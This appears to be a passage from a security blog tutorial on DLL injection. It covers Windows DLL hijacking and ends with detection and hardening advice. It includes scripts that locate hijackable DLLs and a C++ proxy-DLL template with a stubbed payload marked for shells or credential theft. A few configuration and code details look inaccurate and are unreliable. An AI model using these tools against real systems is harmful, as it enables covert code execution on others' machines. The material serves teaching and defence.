Identify Hijackable DLLs

Focus on DLLs loaded from:

  • Application directory
  • Current directory
  • Writable locations

Example ProcMon output:

Time          Process      Operation   Path                              Result
12:34:56.123  app.exe      LoadImage   C:\Program Files\App\missing.dll  NAME NOT FOUND
12:34:56.234  app.exe      LoadImage   C:\Users\Public\missing.dll       NAME NOT FOUND

PowerShell DLL Enumeration

function Find-HijackableDLLs {
    param(
        [Parameter(Mandatory=$true)]
        [string]$ProcessName
    )

    # Start Process Monitor capture programmatically
    Write-Host "[*] This requires Process Monitor to be running with appropriate filters"
    Write-Host "[*] Set filters for '$ProcessName' and 'NAME NOT FOUND' on LoadImage operations"

    # Alternative: Parse existing ProcMon CSV export
    $procmonLog = Read-Host "Enter path to ProcMon CSV export"

    if (Test-Path $procmonLog) {
        $missingDLLs = Import-Csv $procmonLog |
            Where-Object {
                $_.Operation -eq "LoadImage" -and
                $_.Result -eq "NAME NOT FOUND" -and
                $_.Path -like "*.dll"
            } |
            Select-Object Time, "Process Name", Path, Result |
            Sort-Object Path -Unique

        Write-Host "`n[+] Found $($missingDLLs.Count) missing DLL attempts:"
        $missingDLLs | Format-Table -AutoSize

        # Analyze search order locations
        $hijackable = $missingDLLs | Where-Object {
            $path = $_.Path
            # Check if location is writable
            $directory = Split-Path $path -Parent
            try {
                $acl = Get-Acl $directory -ErrorAction Stop
                $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
                $writeAccess = $acl.Access | Where-Object {
                    $_.FileSystemRights -match "Write" -and
                    $_.IdentityReference -eq $currentUser
                }
                $writeAccess -ne $null
            } catch {
                $false
            }
        }

        Write-Host "`n[+] Potentially hijackable DLLs (writable locations):"
        $hijackable | Format-Table -AutoSize

        return $hijackable
    }
}

# Example usage
# Find-HijackableDLLs -ProcessName "vulnerable.exe"

Python DLL Search Order Analyzer

import os
import sys
import subprocess

def get_dll_search_paths(exe_path):
    """
    Get DLL search paths for a given executable
    """
    exe_dir = os.path.dirname(exe_path)
    system_dir = os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'System32')
    windows_dir = os.environ.get('SystemRoot', 'C:\\Windows')
    current_dir = os.getcwd()

    # Safe DLL Search Mode (default)
    search_paths = [
        exe_dir,
        system_dir,
        os.path.join(windows_dir, 'System'),
        windows_dir,
        current_dir
    ]

    # Add PATH directories
    path_dirs = os.environ.get('PATH', '').split(os.pathsep)
    search_paths.extend(path_dirs)

    return [p for p in search_paths if p and os.path.exists(p)]

def find_missing_dlls(exe_path):
    """
    Use Dependency Walker or similar tool to find missing DLLs
    """
    print(f"[*] Analyzing DLL dependencies for: {exe_path}")

    try:
        # Use dumpbin (from Visual Studio) to list dependencies
        result = subprocess.run(
            ['dumpbin', '/DEPENDENTS', exe_path],
            capture_output=True,
            text=True
        )

        if result.returncode != 0:
            print("[-] dumpbin not found. Install Visual Studio or use Process Monitor")
            return []

        # Parse output for DLL names
        lines = result.stdout.split('\n')
        dlls = []
        in_section = False

        for line in lines:
            if 'Image has the following dependencies:' in line:
                in_section = True
                continue
            if in_section and line.strip().endswith('.dll'):
                dlls.append(line.strip())
            if in_section and 'Summary' in line:
                break

        return dlls

    except FileNotFoundError:
        print("[-] dumpbin not available")
        return []

def check_dll_hijacking(exe_path):
    """
    Check if executable is vulnerable to DLL hijacking
    """
    print(f"[*] Checking DLL hijacking opportunities for: {exe_path}\n")

    search_paths = get_dll_search_paths(exe_path)
    dependencies = find_missing_dlls(exe_path)

    print(f"[+] DLL Search Order:")
    for i, path in enumerate(search_paths[:6], 1):  # Show first 6
        writable = os.access(path, os.W_OK)
        status = "[WRITABLE]" if writable else "[READ-ONLY]"
        print(f"  {i}. {status} {path}")

    print(f"\n[+] DLL Dependencies ({len(dependencies)}):")
    for dll in dependencies:
        print(f"  - {dll}")

    print(f"\n[*] Analyzing hijacking opportunities...")

    hijackable = []
    for dll in dependencies:
        for search_path in search_paths:
            dll_path = os.path.join(search_path, dll)
            if not os.path.exists(dll_path) and os.access(search_path, os.W_OK):
                hijackable.append({
                    'dll': dll,
                    'path': search_path
                })
                print(f"  [!] Hijackable: {dll} in {search_path}")
                break

    if hijackable:
        print(f"\n[+] Found {len(hijackable)} hijacking opportunities!")
        return hijackable
    else:
        print(f"\n[-] No obvious hijacking opportunities found")
        return []

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <path_to_exe>")
        return 1

    exe_path = sys.argv[1]
    if not os.path.exists(exe_path):
        print(f"[-] File not found: {exe_path}")
        return 1

    check_dll_hijacking(exe_path)
    return 0

if __name__ == "__main__":
    sys.exit(main())

Using Sysinternals Process Explorer

Launch Process Explorer

Run as administrator for full visibility

Select Target Process

Find and select the process you want to analyze

View DLLs

Press Ctrl+D or View → Lower Pane View → DLLs

Check DLL Paths

Review the "Path" column for each loaded DLL

Identify Suspicious Paths

Look for:

  • DLLs loaded from user-writable directories
  • DLLs loaded from current directory
  • DLLs with unexpected paths

Verify DLL Signatures

Right-click DLL → Properties → check Digital Signature

DLL Proxying Attack

DLL Proxying involves creating a malicious DLL that:

  1. Loads the legitimate DLL
  2. Forwards all function calls to the legitimate DLL
  3. Executes malicious code in the background

Example: Proxying library.dll

// malicious.cpp - Proxy DLL
#include <windows.h>

// Original DLL functions
typedef int (*AddFunc)(int, int);

// Export that proxies to original
extern "C" __declspec(dllexport) int Add(int a, int b) {
    // Load original DLL (renamed to library.o.dll)
    HMODULE hOriginal = LoadLibraryA("library.o.dll");

    if (hOriginal) {
        // Get original Add function
        AddFunc originalAdd = (AddFunc)GetProcAddress(hOriginal, "Add");

        if (originalAdd) {
            // Execute malicious code
            MessageBoxA(NULL, "DLL Hijacked!", "Alert", MB_OK);

            // Call original function
            int result = originalAdd(a, b);

            // Tamper with result
            return result + 1;  // Malicious modification
        }
    }

    return -1;
}

// DllMain for additional malicious actions
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Stealthy payload execution
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MaliciousPayload, NULL, 0, NULL);
        break;
    }
    return TRUE;
}

DWORD WINAPI MaliciousPayload(LPVOID param) {
    // Reverse shell, keylogger, credential theft, etc.
    // ...
    return 0;
}

Deployment:

  1. Rename original library.dll to library.o.dll
  2. Place malicious DLL as library.dll
  3. Application loads malicious DLL
  4. Malicious DLL proxies calls to original

Detection and Monitoring

Behavioral Detection

Suspicious API Call Sequences

Monitor for API patterns associated with injection:

// Example: CreateRemoteThread detection
SecurityEvent
| where EventID == 4688  // Process creation
| where CommandLine contains "CreateRemoteThread" or
        NewProcessName endswith "\\injector.exe"
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine

// Sysmon Event ID 8: CreateRemoteThread
SysmonEvent
| where EventID == 8
| where TargetImage !in (
    "C:\\Windows\\System32\\svchost.exe",
    "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe"
)
| project TimeGenerated, Computer, SourceImage, TargetImage, SourceProcessId, TargetProcessId
| summarize Count = count() by Computer, SourceImage, TargetImage
| where Count > 1

High-Risk API Sequences:

  • OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
  • NtCreateThreadEx instead of CreateRemoteThread (advanced evasion)
  • QueueUserAPC for APC injection
  • SetWindowsHookEx for SetWindowsHook injection

Module Load Anomalies

Detect DLLs loaded from suspicious locations:

// Sysmon Event ID 7: Image (DLL) loaded
SysmonEvent
| where EventID == 7
| where ImageLoaded startswith "C:\\Users\\" or
        ImageLoaded startswith "C:\\ProgramData\\" or
        ImageLoaded startswith "C:\\Temp\\"
| where ImageLoaded endswith ".dll"
| where Process !in (
    "C:\\Program Files\\Application\\app.exe",  // Whitelist known good
    "C:\\Windows\\Explorer.exe"
)
| project TimeGenerated, Computer, Process, ImageLoaded, User
| summarize Count = count(), FirstSeen = min(TimeGenerated)
    by Computer, Process, ImageLoaded

Suspicious Indicators:

  • DLLs loaded from user directories
  • DLLs without digital signatures
  • DLLs with mismatched metadata
  • Unknown DLLs in system processes

Process Hollowing Detection

Monitor for processes with suspicious memory characteristics:

// Memory protection changes (Sysmon Event ID 10)
SysmonEvent
| where EventID == 10  // ProcessAccess
| where GrantedAccess in ("0x1fffff", "0x1f0fff")  // PROCESS_ALL_ACCESS
| where TargetImage endswith "\\explorer.exe" or
        TargetImage endswith "\\svchost.exe"
| where SourceImage !endswith "\\taskmgr.exe"
| project TimeGenerated, Computer, SourceImage, TargetImage, GrantedAccess

Memory Integrity Checks:

  • Processes with executable memory not backed by files on disk
  • Modified PE headers in memory
  • Unexpected memory protection changes (PAGE_EXECUTE_READWRITE)

EDR and AV Detection

Modern Endpoint Detection and Response (EDR) solutions employ multiple detection layers:

User-Mode Hooking:

  • Intercept API calls (CreateRemoteThread, WriteProcessMemory, etc.)
  • Detect suspicious parameter combinations
  • Monitor call chains and context

Kernel-Mode Monitoring:

  • Driver-level process and thread creation monitoring
  • Memory allocation tracking
  • Cross-process operations detection

Machine Learning:

  • Behavioral analysis of API call patterns
  • Anomaly detection for process behavior
  • Historical baseline comparison

Signature-Based Detection:

  • Known malware DLL signatures
  • Malicious code patterns
  • IOC (Indicator of Compromise) matching

Evasion vs Detection

The arms race between attackers and defenders continues to evolve. Modern malware employs sophisticated evasion techniques including direct syscalls, unhooking, and reflective loading to bypass detection mechanisms.

Mitigation and Hardening

Application Control

Implement AppLocker or WDAC

# Example AppLocker rules to prevent DLL injection

# Block DLLs from user directories
$userDirRule = @"
<FilePathRule Id="blockunsigneddll" Name="Block Unsigned DLLs from User Dirs" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
  <Conditions>
    <FilePathCondition Path="%OSDRIVE%\Users\*\*.dll" />
  </Conditions>
</FilePathRule>
"@

# Only allow signed DLLs
New-AppLockerPolicy -RuleType Publisher -Path C:\Temp\dll_rules.xml -RuleNamePrefix "Signed" -User Everyone -FileInformation (Get-ChildItem C:\Windows\System32\*.dll | Get-AppLockerFileInformation)

# Apply policy
Set-AppLockerPolicy -XMLPolicy C:\Temp\dll_rules.xml

Enable DLL Signature Validation

# Require signed DLLs via Group Policy
# Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options
# "System cryptography: Force strong key protection for user keys stored on the computer"

Restrict LoadLibrary Paths

// In your application code
// Use LOAD_LIBRARY_SEARCH_SYSTEM32 flag
HMODULE hModule = LoadLibraryEx(
    "library.dll",
    NULL,
    LOAD_LIBRARY_SEARCH_SYSTEM32
);

Process Mitigation Policies

Enable modern exploit mitigation features:

# Enable Control Flow Guard (CFG)
Set-ProcessMitigation -System -Enable CFG

# Enable Arbitrary Code Guard (ACG)
Set-ProcessMitigation -System -Enable DynamicCode

# Enable Binary Image Signature verification
Set-ProcessMitigation -System -Enable EnforceModuleDependencySigning

# View current mitigations
Get-ProcessMitigation -System

Available Mitigations:

  • Control Flow Guard (CFG): Prevents control flow hijacking
  • Arbitrary Code Guard (ACG): Blocks dynamic code generation
  • Export Address Filtering (EAF): Prevents API address leaks
  • Import Address Filtering (IAF): Validates import table
  • SEHOP: Prevents SEH chain corruption

Secure Coding Practices

Always Specify Full DLL Paths:

// Bad: Vulnerable to DLL hijacking
HMODULE hModule = LoadLibrary("library.dll");

// Good: Full path specified
HMODULE hModule = LoadLibrary("C:\\Program Files\\Application\\library.dll");

// Best: Use system directory search
HMODULE hModule = LoadLibraryEx("library.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);

Validate DLL Signatures:

#include <wintrust.h>
#include <softpub.h>

BOOL VerifyDLLSignature(LPCWSTR filePath) {
    WINTRUST_FILE_INFO fileInfo = {0};
    fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
    fileInfo.pcwszFilePath = filePath;

    WINTRUST_DATA trustData = {0};
    trustData.cbStruct = sizeof(WINTRUST_DATA);
    trustData.dwUIChoice = WTD_UI_NONE;
    trustData.fdwRevocationChecks = WTD_REVOKE_NONE;
    trustData.dwUnionChoice = WTD_CHOICE_FILE;
    trustData.pFile = &fileInfo;

    GUID actionGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;

    LONG status = WinVerifyTrust(NULL, &actionGUID, &trustData);

    return (status == ERROR_SUCCESS);
}

Conclusion

DLL Injection represents a powerful and versatile technique used by both legitimate software and malicious actors. Understanding the various injection methods — from classic LoadLibrary injection to advanced reflective DLL injection and DLL hijacking — is essential for both offensive security practitioners and defensive security teams.

Key Takeaways

  1. Multiple Techniques: DLL injection encompasses various methods, each with different detection profiles and complexity levels
  2. Dual-Use Technology: The same techniques power both benign software features and sophisticated malware
  3. Detection Challenges: Modern injection techniques employ advanced evasion methods, requiring behavioral and heuristic detection
  4. Defense in Depth: Effective mitigation requires combining application control, process mitigations, secure coding, and active monitoring

Defense Checklist

  • Implement application control (AppLocker/WDAC) for DLL loading
  • Enable process mitigation policies (CFG, ACG, etc.)
  • Deploy EDR solution with behavioral detection capabilities
  • Monitor for suspicious API call patterns (CreateRemoteThread, etc.)
  • Configure Sysmon with DLL load and process access monitoring
  • Validate DLL signatures before loading in custom applications
  • Use full paths or system-only search for LoadLibrary calls
  • Implement least privilege for service accounts and applications
  • Regular review of loaded modules in critical processes
  • Incident response procedures for injection detection

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Tools Documentation

By understanding both the offensive techniques and defensive measures around DLL injection, security teams can better protect their environments against code injection attacks and privilege escalation attempts that leverage process injection capabilities.

Last updated on

DLL Injection Techniques | Drake Axelrod